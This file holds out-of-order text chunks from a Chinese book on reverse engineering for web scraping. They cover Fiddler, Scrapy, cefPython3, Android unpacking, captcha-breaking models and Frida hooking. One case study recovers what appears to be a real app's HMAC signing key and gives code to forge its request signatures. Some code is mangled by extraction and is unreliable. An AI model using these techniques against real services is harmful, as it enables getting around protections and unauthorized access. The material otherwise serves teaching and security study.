    {"text": "Unknown 5. 1 Fiddler Fiddler 是位于客户端和服务器之间的代理， 它能够记录 客户端和服务器之间的所有 HTTP 请求， 可以针对特定的 HTTP 请求， 分析请求数据、 设置断点、 调试 Web 应用、 修 改请求的数据， 甚至可以修改服务器返回的数据， 功能非常 强大， 是调试的利器， 如图 5-1 所示。 5. 1. 1 Fiddler 配置 在 tools 的 options 中， 选择 HTTPS。 按照图中勾选后， 单击 “ Actions” 按钮， 选择 Trust Root Certificate， 如图 5-2 ·图 5-1 所示。 ·图 5-2 . 1 49 爬虫逆向进阶实战 在 Connections 中选择允许监控远程链接， 端口默认为 8888， 如图 5-3 所示。 ·图 5-3 保存后重启 Fiddler， 即可完成配置。 5. 1. 2 Fiddler 断点 选择 “Rules” 中的 “Automatic Breakpoints” 中的 “After Responses” 命令开启断点， 如图 5- 4 所示。 ·图 5-4 当设置断点后， 请求列表中的数据包会有被中断的标记， 单击数据包后， 可以看到在右侧增加了一 行操作栏， 单击 “Run to Completion” 按钮可以返回响应数据， 如图 5-5 所示。 ·图 5-5 1 50 . 第 5 章 抓包工具的应用 取消断点方法是： 选择 “Rules” 中的 “Automatic Breakpoints” 中的 “Disabled” 命令。 5. 1. 3 Fiddler 接口调试 Composer 可以进行模拟网络请求， 做接口测试， 类似于 Postman， 如图 5-6 所示。 ·图 5-6 5. 1. 4 Fiddler 替换 Js 文件 选择自动响应 AutoResponder， 勾选启用规则和不匹配的请求通过。 然后单击 “ Add rules” 按钮， 在 规则编辑器中输入原网站的 Js 链接和本地要替换的 Js 链接。 最后单击 Save 按钮即可， 如图 5-7 所示。 ·图 5-7 笔者在 Js 中添加了 alert， 当刷新网页后， 可 看到修改效果， 如图 5- 8 所示。 5. 1. 5 Fiddler 保存响应内容 Fiddler 右侧的 FiddlerScript 可以自定义脚本。 找到 FiddlerScript 中的 OnBeforeRequest 方法， 增 ·图 5-8 加保存响应内容的 Script 代码， 如图 5-9 所示。 通过 oSession. uriContains 方法来匹配 URL 地址。 oSession. PathAndQuery. slice 方法是对 URL 进行截取， 作为文件名。 后面的代码是创建一个文件， 然后写入 strBody 响应内容。 Script 代码如下： . 1 51 爬虫逆向进阶实战 if (oSession.uriContains(\"https://Api-eagle.amemv.com/aweme/v1/feed/\")){ var strBody = oSession.GetResponseBodyAsString(); var sps = oSession.PathAndQuery.slice(-58,); var filename = \"C:/Users/Lx/Desktop/data\" + \"/\" + sps + \".json\"; var curDate = new Date(); var sw:System.IO.StreamWriter; if (System.IO.File.Exists(filename)){ sw= System.IO.File.AppendText(filename); sw.Write(strBody); } else{ sw= System.IO.File.CreateText(filename); sw.Write(strBody); } sw.Close(); sw.Dispose(); } ·图 5-9 在保存后， 每次拦截到和该 URL 相匹配的请求都会对响应进行保存， 这样可以通过后续的处理来提 取所需数据。 5. 1. 6 Fiddler 监听 webSocket 如果想要抓取 webSocket 的数据包， 需要添加脚本。 选择 “Rules” 中的 “Customize Rules” 命令， 在 class Handlers 类中加入代码， 如图 5-10 所示。 static functionOnWebSocketMessage(oMsg:WebSocketMessage) { // Log Message to the LOG tab FiddlerApplication.Log.LogString(oMsg.ToString()); } 保存后， 就可以在 Fiddler 右侧的 log 栏中看到 webSocket 的数据包了。 1 52 . 第 5 章 抓包工具的应用 ·图 5-10 Unknown 2. 6 Scrapy 开发 这一节的内容是基于 Scrapy 开发的动态可配置爬虫框架。 笔者所了解的开源框架有以 Scrapy 为内核 开发的 Scrapy_helper、 Portia。 有基于 Java 爬虫框架 Webmagic 为内核的 Webmagicx。 它们都可以自定义配 置解析规则、 动态匹配相同模板的内容。 2. 6. 1 Scrapy_helper Scrapy_helper 是一个基于 Django 和 Scrapy 的动态可配置化爬虫框架。 Github 地址： https： / / Github. com/ facert/ Scrapy_helper 项目启动后， 可以在 Web 界面上快速配置抓取地址和解析规则， 通过 Scrapy 模板添加采集任务， 通 . 2 5 爬虫逆向进阶实战 过 Django 进行爬虫调度， 虽然界面简单， 但是具有不错的扩展空间， 如图 2-18 所示。 ·图 2-18 不过项目中 Django 使用的 1. 11. 5 版本 太低了， 用虚拟环境配置或者修改项目代码 都不太方便。 2. 6. 2 Webmagicx Webmagicx 是一款基于 Webmagic 的可 配置 爬 虫 框 架。 无 须 持 续 编 写 任 何 代 码， 只需熟悉正则表达式和 xpath， 通过简单的 配置便可实现一个爬虫。 Gitee 地址： https： / / gitee. com/ luosl/ Webmagicx 在 Webmagicx 的 基 础 上 实 现 了 深 度 抓 取， 也实现了基于 corn 的定时调度功能。 另 外提供了简单通用的存储功能， 能够将抓取 的数据 轻 松 存 入 数 据 库 和 文 件， 如 图 2-19 所示。 不过目前 Web 界面有些单调， 没有多少 交互的地方。 这个就不多说了， 感兴趣的读 者可以去下载源码运行测试。 ·图 2-19"},
    {"text": "Unknown 1. 安装 Magisk 由于 Magisk 安装过程比较复杂， 容易出问题， 并且安装方法往往会随着时间发生变化， 所以笔者把 有人维护的教程地址贴出来， 大家可以参照该教程安装最新版本的 Magisk。 中文安装教程： https： / / magiskcn. com / 英文安装教程： https： / / topjohnwu. Github. io / Magisk / install. html 虽然教 程 很 全 面， 但 还 是 要 给 大 家 提 示 一 下， Magisk 目前很难在模拟器上安装， 尽管有人 在官方模拟器上安装成功过， 参考开源库 Magis- kOnEmulator， 如图 6-83 所示。 另外安装前， 先下载一个 Magisk 看看， 如果 Ramdisk 显 示 为 “ 是 ”， 那 么 设 备 可 以 安 装 Magisk， 参照安装教程进行安装。 如果不是则需 要从长计议。"},
    {"text": "当然使用它主要是为了将其用于网络爬虫， 目前网上相关的 cefPython3 教程 资料较少， 所以笔者会多写一些工具分析。 Github 地址： https： / / Github. com/ cztomczak/ cefPython 4. 3. 1 安装和使用 cefPython3 的安装很简单， 通过 pip 命令可直接安装。 安装命令： pip install cefPython3 = = 66. 0 安装之后， 可使用作者给出的 helloworld. py 代码进行测试， 笔者对文件进行了一些修改。 from cefPython3 import cefPython as cef import platform import sys def main(): check_versions() sys.excepthook = cef.ExceptHook cef.Initialize() cef.CreateBrowserSync(url=\"https://www.baidu.com/\", window_title=\"Hello World!\") cef.MessageLoop() cef.Shutdown() def check_versions(): ver =cef.GetVersion() 1 28 . 第 4 章 自动化工具的应用 print(ver) if _name_ = = _main_ : main() 运行之后， 可以输出当前 cefPython3 的使用环境和一些 hash 值， 并且启动了一个浏览器窗口， 如 图 4- 9 所示， 按照指定的 URL 进行了跳转， 并且通过 cef. MessageLoop（）保持着事件循环。 ·图 4-9 可以发现， cefPython3 并不依赖于任何第三方 GUI 框架， CEF 自动负责创建顶级窗口， 并在该窗口中 嵌入 Chromium 小部件， 所以在不提供任何窗口信息的情况下， 也能创建浏览器控件。"},
    {"text": "4. 3. 2 浏览器配置 cef. Initialize（）方法中可以增加配置， 比如增加日志、 添加代理、 更改渲染方式。 settings = { \"debug\":True , # 调试模式 \"log_file\":\"debug.log\", # 生成日志 \"log_severity\":cef.LOGSEVERITY_INFO, # 日志等级 \"user_agent\":\"\", \"image_load_disabled\":True , # 设置不加载图片 } switches = { \"enable-media-stream\":\"1\", # 启用媒体流(音频、摄像头)，空字符串代表否 \"proxy-server\":\"socks5://127.0.0.1:4781\", # 设置代理 \"disable-gpu\":\"\", # 仅用 cpu 渲染或者和 GPU 共同渲染 } cef.Initialize(settings = settings, switches = switches) . 1 29 爬虫逆向进阶实战 关于浏览器的更多设置， 可参考 Github 文档 browser-settings， 如图 4-10 所示。"},
    {"text": "·图 4-10 4. 3. 3 客户端控制 CefPython3 是一个多进程的运行方式， Python 代码运行在主进程 （浏览器进程） 中， 而 JavaScript 运 行在 Renderer 子进程中。"},
    {"text": "Python 和 JavaScript 之间的通信可以使用进程间消息异步传递或通过 http 请求来 传递。 如果想要通过浏览器做一些操作， 就需要通过 Python 去和 javaScript 进行通信， 当然方法也很简单， 只需在调用 Python 函数时传递一段 javaScript 代码作为参数即可。"},
    {"text": "from cefPython3 import cefPython as cef import sys class LoadHandler: def OnLoadingStateChange(self, browser, is_loading, * * _): print(\"页面正在加载....\") if not is_loading: print(\"页面加载完成....\") browser.ExecuteJavascript(self._jsCode()) def _jsCode(self): jsCode = \"\"\" var input_search = document.getElementById( kw ); input_search.value = \"考古学家 lx\"; document.getElementById( su ).click(); \"\"\" return jsCode sys.excepthook = cef.ExceptHook cef.Initialize() 1 30 . 第 4 章 自动化工具的应用 browser = cef.CreateBrowserSync(url = \"https://www.baidu.com\") browser.SetClientHandler(LoadHandler()) cef.MessageLoop() cef.Shutdown() 代码中的类名和方法名是固定的， 引用了源码中提供的接口。"},
    {"text": "LoadHandler 用来实现此接口与浏览器加载状态相关的事件， 目前主要有四种回调方法， OnLoadingStateChange、 OnLoadStart、 OnLoadError、 OnLoadEnd。 OnLoadingStateChange： 在加载状态改变时会被调用， 并且此回调将执行两次。"},
    {"text": "它将在 OnLoadStart 的 任何调用之前， 以及 OnLoadError 和 / 或 OnLoadEnd 的所有调用之后调用。 OnLoadStart： 在提交导航之后和浏览器开始加载框架中的内容之前调用。 OnLoadError： 当导航失败或被取消时调用， 则该方法也可以被自身调用。 OnLoadEnd： 当浏览器完成加载框架时调用， 此事件的行为类似于 window. onload， 它等待所有内容加 载后被调用。"},
    {"text": "·图 4-11 当然也有直接通过 Python 调用 Js 的方法， 可以通过 GetMainFrame（ ）. ExecuteJavascript（ ） 直接执行 Js 代码， 或者通过 GetMainFrame（ ）. ExecuteFunction（ ） 执行 Js 函数。"},
    {"text": "from cefPython3 import cefPython as cef import sys class LoadHandler: def OnLoadingStateChange(self, browser, is_loading, * * _): if not is_loading: print(\"页面加载完成....\") browser.GetMainFrame().ExecuteJavascript( alert(\"执行 Js 语句\") ) . 1 31 爬虫逆向进阶实战 browser.GetMainFrame().ExecuteFunction( function xx(){alert(\"执行函数\")};xx() ) sys.excepthook = cef.ExceptHook cef.Initialize() browser = cef.CreateBrowserSync(url = \"https://www.baidu.com\") browser.SetClientHandler(LoadHandler()) cef.MessageLoop() cef.Shutdown() 执行结果如图 4-12 所示。"},
    {"text": "浏览器请求相关的事件处理都在 RequestHandler 接口中， 文档链接： https： / / Github. com/ cztomczak/ cefPython/ blob/ master/ Api/ RequestHandler. md 观看文档可发现 RequestHandler 中定义了很多请求处理方法， 笔者将介绍一些后面会使用到的方 法。"},
    {"text": "比如 GetResourceHandler 是获取资源处理程序， 可以通过 request 打印出请求时加载的所有资源信 息。 GetResourceHandler 方法的参数如图 4-13 所示 （Browser、 Frame、 Request）， 返回一个 ResourceHandler 对象。 ResourceHandler 是实现自定义请求处理程序的类， 比如设置响应头置 mime-type， 响应长度， 或者设 1 32 . 第 4 章 自动化工具的应用 置 cookie 等。 下面的代码是通过 GetResourceHandler 获取请求时加载的资源。 ·图 4-13 from cefPython3 import cefPython as cef # 输出网页加载时的所有请求 ResourceHandler class RequestHandler(object): def GetResourceHandler(self, frame, request, * * _): print(request. GetUrl()) cef.Initialize() browser = cef.CreateBrowserSync(url = \"http://www.baidu.com\") browser.SetClientHandler(RequestHandler()) cef.MessageLoop() cef.Shutdown() 而对大家来说比较重要的 html 响应内容处理在 Frame 对象中， 通过 browser. GetMainFrame（）可以返回 浏览器窗口的主框架 Frame。"},
    {"text": "所以 Frame 类中的所有方法可以通过 browser. GetMainFrame（）. xxx（）实现。 Frame 类中的 GetSource（）方法可以获取此框架当前的 HTML 源码以字符串形式发送给指定访问者， 如图 4-14 所示。 GetText（）方法获取框架的显示文本并以字符串形式发送给指定访问者， 如图 4-15 所示。"},
    {"text": "·图 4-14 ·图 4-15 GetSource 和 GetText 中的参数 visitor 类型都是基于 StringVisitor， StringVisitor 是在访问字符串时， 必须 保持对对象的强引用， 否则它会被销毁并且 StringVisitor 不会调用回调。 所以使用 GetSource、 GetText 时， 也需要先去定义一个 visitor， 这个在后续的代码示例中可以查看。"},
    {"text": "在 Client 类中设置了 browser 为 headless 无头模式， 然后通过 _getattr_给 object 添加属性， 并且使用了 Condition 做线程同步， 重写了 LoadUrl 来加载 url， 定义了 getSource 方法获取 网页源码， 也定义了 userStringVisitor 对象所需要的 Visit 方法。 class Client(object): \"\"\"browser\"\"\" def _init_(self,headless=False ): self.headless = headless self.browser = None self._getSourceLock = threading.Condition() self._getDOMLock = threading.Condition() self._getReadyLock = threading.Condition() self._handler = ClientHandler(self) settings,switches = {},{} if self.headless: settings[ windowless_rendering_enabled ] = True cef.Initialize(settings=settings, switches=switches) def _getattr_(self, name): return getattr(self.browser, name) def getBrowser(self): # 创建浏览器实例 if self.headless: wininfo = cef.WindowInfo() # 无界面模式 wininfo.SetAsOffscreen(0) self.browser = cef.CreateBrowserSync(window_info=wininfo) else : self.browser = cef.CreateBrowserSync() self.browser.SetClientHandler(self._handler) self.browser.SendFocusEvent(True ) 1 34 . 第 4 章 自动化工具的应用 self.browser.WasResized() return self def LoadUrl(self, url, synchronous=False ): \"\"\" 将 URL 传递给浏览器 \"\"\" self.ready = False self.browser.LoadUrl(url) if synchronous: self._getReadyLock.acquire() if not self.ready: self._getReadyLock.wait() self._getReadyLock.release() def getSource(self, synchronous=False ): \"\"\" 返回 MainFrame 的 html 源码，\"\"\" self.source = None self.browser.GetMainFrame().GetSource(self) if synchronous: self._getSourceLock.acquire() if not self.source: self._getSourceLock.wait() self._getSourceLock.release() return self.source def Visit(self, value): \"\"\" StringVisitor 接口 \"\"\" self.source = value self._getSourceLock.acquire() self._getSourceLock.notify() self._getSourceLock.release() 定义客户端处理。 class ClientHandler(object): \"\"\"客户端处理\"\"\" def _init_(self, chromeObject): self.chrome = chromeObject def OnLoadingStateChange(self, browser, is_loading, * * kwargs): if is_loading: self.chrome.ready = False else : self.chrome.ready = True self.chrome._getReadyLock.acquire() self.chrome._getReadyLock.notify() self.chrome._getReadyLock.release() 定义启动线程和_main_方法。 def BrowserThread(browser): browser.ready = False browser.LoadUrl(url, True ) . 1 35 爬虫逆向进阶实战 print(browser.getSource(True )) browser.CloseBrowser() if _name_ = = _main_ : url = http://www.baidu.com browser = Client(headless=True ).getBrowser() browserThread = threading.Thread(target=BrowserThread, args=(browser,)) browserThread.start() cef.MessageLoop() browserThread.join() browser = None cef.Shutdown() Condition 线程同步可以当作一把智能锁， 除了提供与 Lock 类似的 acquire 和 release 方法外， 还提供了 wait 和 notify 方法。"},
    {"text": "线程 acquire 后会进行条件判断， 如果条件不满足， 则会 wait； 如果条件满足， 会进行一些处理， 当条件发生改变后， 会通过 notify 方法通知其他线程， 其他 wait 状态的线程接到通知后会再重新判断条件。"},
    {"text": "关于 cefPython3 的使用就讲解到这里了， 完整代码会上传到本书代码库中。 另外和 cefPython3 相似的驱动控件还有 Splash、 CefSharp 等， 大家感兴趣可以去查阅相关资料。"},
    {"text": "Unknown 3. 指令抽取和转换 指令抽取 （代码抽取） 是第三代加固方案， 核心在于拦截 系统的加载类函数方法， 将类中的方法指令进行剥离， 壳在方 法执行时才会进行解密填充， 将方法指令重新恢复到对应的函 数体， 甚至执行完之后还会再次剥离。 但是因为指令抽取技术需要使用 Android 虚拟机自带的解释 器执行代码， 所以兼容性不高， 并且可以通过一些脱壳机进行 ·图 6-92 脱壳。 除了使用工具脱壳外， 还可使用 Hook 来进行脱壳， 在某 个合适的 Hook 点将加载完毕的 Dex 进行内存重组。 指令转换 （VMP 加固） 是第四代加固方案， 核心是通过自定义 Android 虚拟机解释器， 将保护后的 代码放到自定义的虚拟机解释器中运行。 由于自定义解释器无法对 Android 系统内的其他函数进行直接调 用， 所以必须使用 Java 的 jni 接口进行调用。 这种实现技术主要有两种， 第一种是把 Dex 文件内的函数标记为 native， 内容被抽离并转换为一个符 合 jni 要求的动态库。 第二种是把 Dex 文件内的函数标记为 native， 内容被抽离并转换为自定义的指令格 式， 并通过实现自定义接收器， 执行代码。 脱壳思路是对自定义的 JNI 接口对象进行内部调试分析， 得到完整的原始 Dex 文件。 Unknown 4. 验证码识别 按照步骤一的方式生成一批验证码当作测试集。 测试集图片保存在 test_data_img 中， 但是现在的图片是完整的， 想要识别就要按照之前的方法先进 行图片切割， 分成 4 份放到 test_split_img 目录中， 然后用识别函数来识别。 if_name_ = = _main_ : test_data_img = r test_data_img\\.059682.png sliceImg(test_data_img) result = [] for img in os.listdir( test_split_img ): result.Append(knn_shib( test_split_img/ +img)[0]) print(result) 取一张名为 059682. png 的图片为例， 调 用 sliceImg 方法分割， 然后读取分割后的图片 来识别， 如图 10-11 所示。 运行程序， 识别结果和图片内容一致， 识 别成功， 实现代码如图 10-12 所示。 这节的代码主要还是以案例为主， 大家需 要掌握处理流程和方法， 以便于设计自己的识 别算法。 如果运行程序， 可以看到识别速度很 慢， 因为目前完全是基于程序计算的识别， 没 有生成可供映射的模型。 下一节教大家如何训 ·图 10-11 练和部署识别模型。 3 42 . 第 10 章 验证码识别技术 ·图 10-12 10. 1. 4 深度学习识别验证码 本节教大家使用基于开源深度学习框架的验证码训练工具训练自己的识别模型。 工具学习难度并不高， 只要懂得如何配置和使用就可以。 目前 GitHub 有多种基于深度学习的验证码 识别工具， 比如基于 TensorFlow 的 captcha_trainer、 基于 Keras 的 CNN_keras， 也有基于 PYTorch 的 pytorch-captcha-recognition。 这里只是举例说明， 还有很多优秀的开源库等待大家自己挖掘。 本节的重点是使用 captcha_trainer 训练和使用 captcha_platform 部署。 captcha_trainer 是基于深度学习的图片验证码的解决方案， 该项目足以解决市面上绝大多数复杂的验 证码场景， 目前也被用于其他 OCR 场景。 captcha_platform 是针对 captcha_trainer 训练后的模型部署， 可以 在 Linux、 Windows 部署。 captcha_trainer 下载地址： https： / / Github. com/ kerlomz/ captcha_trainer。 captcha_platform 下载地址： https： / / Github. com/ kerlomz/ captcha_platform。 跟随 requirements. txt 文件一键安装或者自行安装。 安装完成之后， 在 App. py 文件启动 captcha_traine 界面。 Unknown 3. 开始训练 在功能区输入项目名字， 选择训练集、 标签数、 样本大小、 结束条件等， 如图 10-15 所示。 然后单击 “Start Training” 按钮开始训练。 . 3 43 爬虫逆向进阶实战 ·图 10-13 ·图 10-14 3 44 . 第 10 章 验证码识别技术 ·图 10-15 笔者之前安装的是 tensorflow 2. 0. 0， 所以使用 CPU 来进行训练， 训练速度较为缓慢。 建议读者按照 笔者的推荐使用 tensorflow-gpu = = 1. 14. 0， 如图 10-16 所示。 ·图 10-16 另外， 为了减少训练时间， 一些参数可以自行修改， End Accuracy 可以低一点。 End Cost 可以高一 点， 如图 10-17 所示。 . 3 45 爬虫逆向进阶实战 ·图 10-17 Unknown 1. 太极阴 太极阴的使用方法很简单， 下载并安装太极 App 之后就可以使用。 由于太极阴是自己构建了一个虚 拟框架， 所有应用必须重新在虚拟框架中安装才能使用， 所以在太极阴中创建 App 时， 需要先卸载再安 装， 这样会修改 App 的原签名， 可能导致应用无法使用， 而且太极阴无法作用于系统 App。 下载地址： https： / / taichi. cool / zh / download. html 安装之后选择创建应用， 根据提示进行操作即可， 如图 6- 86 所示。 模块管理中可以管理已经存在的 Xposed 模块， 如果想新增模块， 可以在 “下载模块” 中下载， 或者 添加本地模块， 或者到官网下载， 如图 6- 87 所示。 模块下载： https： / / taichi. cool / zh / module / 为了避免一些不必要的麻烦， 就不演示应用的具体安装了， 如图 6- 88 所示。 平时使用的一些 Xposed 插件， 如果不涉及系统相关权限， 也可以在太极阴中使用。 有时候插件启动 异常时， 比如显示未激活， 可以尝试把该插件也当作应用添加到太极的 “创建应用” 中。 Unknown 3. 验证码注册 Api： https： / / captcha. fengkongcloud. com/ ca / v1/ register？， 如图 10-30 所示。 ·图 10-30 3 52 . 第 10 章 验证码识别技术 bg 和 fg 是验证码图片地址。 https： / / castatic. fengkongcloud. com/ crb/ +bg， 如图 10-31 所示。 ·图 10-31"},
    {"text": "Unknown 3. 12 调试工具补充 虽然在大部分场景下直接使用 chrome 控制台进行调试就能完成任务， 但是有些时候可以使用 Js 调试 工具的附加功能来提高调试速度。 3. 12. 1 WT-JS 调试工具 WT-JS_DEBUG 调试器内置了诸多调试函数， 有很多加密函数库， 基本满足使用需求， 如图 3-119 所示。 1 06 . 第 3 章 Web Js 逆向 ·图 3-119 3. 12. 2 发条 JS 调试工具 发条 JS 也 是 一 款非 常 好 用的 调 试 工具， 支 持 对 Js 代码 进 行 压缩、 查 找、 解 密、 格 式 化 等， 如 图 3-120 所示。 ·图 3-120 3. 12. 3 鬼鬼 JS 调试工具 鬼鬼 JS 是目前使用较多的调试工具， 同样支持代码格式化、 加解密， 也可以选择不同的运行方式， . 1 07 爬虫逆向进阶实战 如图 3-121 所示。 ·图 3-121"},
    {"text": "Unknown 9. 2 某 App 签名 Frida 还原 本节的案例是分析某 App 的接口签名， 结合静态分析和动态分析， 讲述了整个逆向流程， 以及最后 通过 Frida Hook 签名和对加密参数进行还原。"},
    {"text": "经过对接口的分析， 发现动态参数只有_sig 和_ts， 另外的 apikey、 udid 应该是设备注册的参数， 如 图 9-11所示。 _sig 就是要分析的接口签名， _ts 是时间戳无疑。"},
    {"text": "·图 9-12 . 2 79 爬虫逆向进阶实战 9. 2. 3 静态分析参数 反编译成功后， 可在整个文件中对加密参数进行静态分析， 最简单的检索方法是使用 Ctrl+F 快捷键 搜关键词， 如图 9-13 所示。"},
    {"text": "·图 9-13 搜到很多结果后， 先找到一个有_sig 的地方， 然后使用鼠标右键单击解析查看 Java 代码。 到 Java 代码中继续搜索 sig， 好在搜出来的结果不多， 找到了一个比较像的地方， 这里的代码是把 sig 添加到 FormData 中， 如图 9-14 所示。"},
    {"text": "先找 v1， 注意到该段代码 v1 = ApiSignatureHelper. a （v0）； 双击 ApiSignatureHelper 查看， 这个类的实现并不复杂， 如图 9-15 所示。 ·图 9-15 这里返回的 ApiSignatureHelper. a （arg2. url（）. toString（）， arg2. method（）， v0）；"},
    {"text": "public class ApiSignatureHelper { static Pair a(Request arg2) { if (arg2 = = null ) { return null ; } String v0 = arg2.header(\"Authorization\"); return ApiSignatureHelper.a (arg2.url().toString(), arg2.method(), v0); } public static Pair a(String arg5, String arg6, String arg7) { String v0 = FrodoApi.a().e.b; StringBuilder v2 = new StringBuilder(); v2.Append(arg6); arg5 =HttpUrl.parse(arg5).encodedPath(); v2.Append(\"&\"); v2.Append(Uri.encode(arg5)); . 2 81 爬虫逆向进阶实战 long v5 = System.currentTimeMillis () / 1000; v2.Append(\"&\"); v2.Append(v5); return new Pair(HMACHash1.a (v0, v2.toString()), String.valueOf (v5)); } } 在静态方法\" static Pair a（）\" 中： arg2 是一个 Request 对象。"},
    {"text": "arg5 =HttpUrl. parse （arg5） . encodedPath（）； arg5 = Uri. decode （arg5）； arg5 = arg5. substring （0， arg5. length（） - 1）；"},
    {"text": "·图 9-19 这里要追 arg15， 只能调用这个 ZenoConfig， 全局搜 Ze- noConfig， 但是结果太多了。 用 Jeb 在 Smali 中搜索着实有 些不方便， 增加条件搜索 ZenoConfig $ Builder， 结果发现 还是不方便， 再增加一下条件， 通过正则表达式找 init 的 位置， 如图 9-20 所示。"},
    {"text": "d =FrodoUtils. c， 继续点进去， 如图 9-22 所示。 最后得出 FrodoUtils. c = \" bHUvfbiVZUmm2sQRKwiAcw = = \" ； . 2 83 爬虫逆向进阶实战 ·图 9-21 ·图 9-22 但是这个方法到这里并没有结束， 下面还有 FrodoUtils. c = AES. a （ FrodoUtils. c， v2_1）；"},
    {"text": "AES 密钥是 Base64. encodeToString （ AppContext. a （ ） . getPackageManager （ ） . getPackageInfo （ AppContext. a （ ） . getPackageName（）， 0x40） . signatures [0] . toByteArray（）， 0）；"},
    {"text": "2 84 . 第 9 章 Android 逆向案例 ·图 9-23 9. 2. 4 动态获取签名 结合之前的静态分析， 正常流程是先获取应用的签名， 拿到签名后， 按照它的 AES 方式对签名进行 加密， 就能获取 FrodoUtils. c 了， 如图 9-24 所示。"},
    {"text": "·图 9-24 但是这个签名笔者尝试过用工具获取， 也用过命令获取， 但是感觉跟 getPackageName（ ） . signatures [0] . toByteArray（）获取的不一样， 测了几次就放弃了。"},
    {"text": "选择一个 Hook 点也是非常重要的事情， 按照之前的分析流程多调试分析， 在 ApiSignatureHelper 类中 没有捕获到， 最后在 HMACHash1 中成功捕获到已经 toByteArray 和 Base64 后的签名。"},
    {"text": "Frida 代码如下： import Frida, sys def on_message(message, data): if message[ type ] = = send : print(\"[* ] {0}\".format(message[ payload ])) . 2 85 爬虫逆向进阶实战 else : print(message) jscode_hook = \"\"\" Java.perform( function(){ console.log(\"1. start hook\"); var ba = Java.use(\"com.douban.frodo.utils.crypto.HMACHash1\"); if (ba != undefined) { console.log(\"2. find class\"); ba.a.overload( java.lang.String , java.lang.String ).implementation = function (a1,a2) { console.log(\"3. find function\"); console.log(a1); console.log(a2); var res = ba.a(a1,a2); console.log(\"计算 result:\" + res); return res; } } } ) \"\"\" process = Frida.get_usb_device().attach( 应用包名 ) script = process.create_script(jscode_hook) script.on( message , on_message) print( [ * ] Hook Start Running ) script.load() sys.stdin.read() 运行文件查看结果： 可以发现 Hook 到了加密后的 App 签名和最后返回的_sig。"},
    {"text": "加密后的值是 bf7dddc7c9cfe6f7， 也就是说最终的 FrodoUtils. c 是 bf7dddc7c9cfe6f7。 9. 2. 5 加密算法还原 拿到 FrodoUtils. c 后， 再 结 合处 理 后 的 v2 进 行 hmac 加密， 即可生成_sig， 如图 9-25 所示。"},
    {"text": "·图 9-26 最后还原和调用的代码示例如下： import requests,time from urllib.parse import quote,urlparse import hashlib,base64,hmac def get_sig(url,ts): urlpath = urlparse(url).path sign = & .join([ GET , quote(urlpath,safe= ), ts]) sig = hmac.new(\"bf7dddc7c9cfe6f7\".encode(), sign.encode(), hashlib.sha1).digest() _sig = base64.b64encode(sig).decode() return _sig 本节的案例到此结束， 内容总体来说有点长， 希望大家可以跟着流程操作一遍， 这会对之后的逆向 分析有不小的帮助。"},
    {"text": "Unknown 6. History History 对象包含用户在浏览器窗口中访问过的 URL， 如表 3-14 所示。 表 3- 14 History length 浏览器历史列表中的 URL 数量 back() 加载前一个 URL forward() 加载下一个 URL go() 加载某个具体页面 Window 中还有很多属性和方法， 这里就不再过多描述， 需要大家自行查看。 3. 1. 4 事件 HTML 事件是一种浏览器行为， 也可以说是一种用户行为。 笔者总结了 Js 中的常见触发事件， 这在 后续调试或者流程分析时很有帮助， 如表 3-15 所示。 表 3-15 HTML 事件 事 件 描 述 onclick 当用户单击 HTML 元素时触发 ondblclick 当用户双击对象时触发 onmove 当对象移动时触发 onmoveend 当对象停止移动时触发 onmovestart 当对象开始移动时触发 onkeydown 当用户按下键盘按键时触发 onkeyup 当用户释放键盘按键时触发 onload 当某个页面或图像被完成加载 onselect 当文本被选定 onblur 当元素失去焦点 onchange 当 HTML 元素改变时触发 onfocusin 当元素将要被设置为焦点之前触发 onhelp 当用户在按 F1 键时触发 onkeypress 当用户按下字面键时触发 . 3 7 爬虫逆向进阶实战 (续) 事 件 描 述 onmousedown 当用户用任何鼠标按钮单击对象时触发 onmousemove 当用户将鼠标划过对象时触发 onmouseover 当用户在一个 HTML 元素上移动鼠标 onmouseout 当用户从一个 HTML 元素上移开鼠标 onmouseup 当用户在对象之上释放鼠标按钮时触发 onmousewheel 当鼠标滚轮按钮旋转时触发 onstop 当用户单击停止按钮或离开页面时触发 onactivate 当对象设置为活动元素时触发 onreadystatechange 当在对象上发生对象属性更改时触发 ondragend 当用户拖曳操作结束后释放鼠标时触发 顺便说一下 HTML 中绑定事件的几种方法， 分别是行内绑定、 动态绑定、 事件监听、 bind 和 on 绑定。 行内绑定是指把触发事件直接写到元素的标签中， 如图 3- 4 所示。 动态绑定是指先获取到 dom 元素， 然后在元素上绑定事件， 如图 3-5 所示。 ·图 3-4 ·图 3-5 事件监听主要通过 addEventListener（）方法来实现， 如图 3- 6 所示。 bind（）和 on（）绑定都是属于 JQuery 的事件绑定方法， bind（）的事件函数只能针对已经存在的元素进 行事件的设置， 如图 3-7 所示。 ·图 3-6 ·图 3-7 on（）支持对将要添加的新元素设置事件， 如图 3-8 所示。 JQuery 中还有 live（）、 delegate（）等事件绑定方法， 目前 并不常用。 ·图 3-8"},
    {"text": "Unknown 2. 2 Scrapy Scrapy 目前应该是使用人数最多， 扩展和插件最为丰富的 Python 爬虫框架， 在普通爬虫框架的基础 上支持下载解析中间件、 断点续爬、 信号回调、 异常捕获、 深度广度采集策略等。"},
    {"text": "我们需要注意的概念 是 Scrapy 是基于 twisted 的多线程爬虫框架， 如何理解这句话呢？ 首先 twisted 是异步网络请求框架， Scrapy 在请求时采用的是异步请求策略， 而在处理时使用的是多线程处理模式， 可以说 Scrapy 是单线程， 也可以说是多线程的。"},
    {"text": "2. 2. 1 Scrapy 架构 Scrapy 的核心处理流程由五大模块构成， 分别是调度器 （Scheduler）、 下载器 （Downloader）、 爬虫 （Spiders）、 实体管道 （Item Pipeline） 和引擎 （Scrapy Engine）， 如图 2-3 所示。"},
    {"text": "爬虫文件是开发时操作最 多的地 方， 用 来 定 制 自 己 的 页 面 解 析 规 则， 从特 定 的 网 页 中 提 取 自 己 需 要 的 信 息， 即实体 （Item）， 也可以从中提取出链 接， 把抓 取 目 标 回 调 给 调 度 器 来 分 配 任 务。"},
    {"text": "（8） Scrapy 将 response 响应信息传递给爬虫中间件。 （9） 爬虫中间件将响应传递给对应的爬虫进行处理。 （10） 爬虫处理之后， 会提取出数据和新的请求信息， 将处理的信息传递给爬虫中间件。 （11） 爬虫中间件将处理后的信息传递给 Scrapy 引擎。 （12） Scrapy 接收到信息之后， 会将项目实体传递给实体管道进行进一步处理， 同时将新的信息传递 给调度器。"},
    {"text": "2. 2. 2 Scrapy 信号 Scrapy 可以扩展 （extensions） 捕捉一些信号 （Signals） 来完成额外的工作或添加额外的功能， 也可 以通过信号 Api 来连接或发送自己的信号。"},
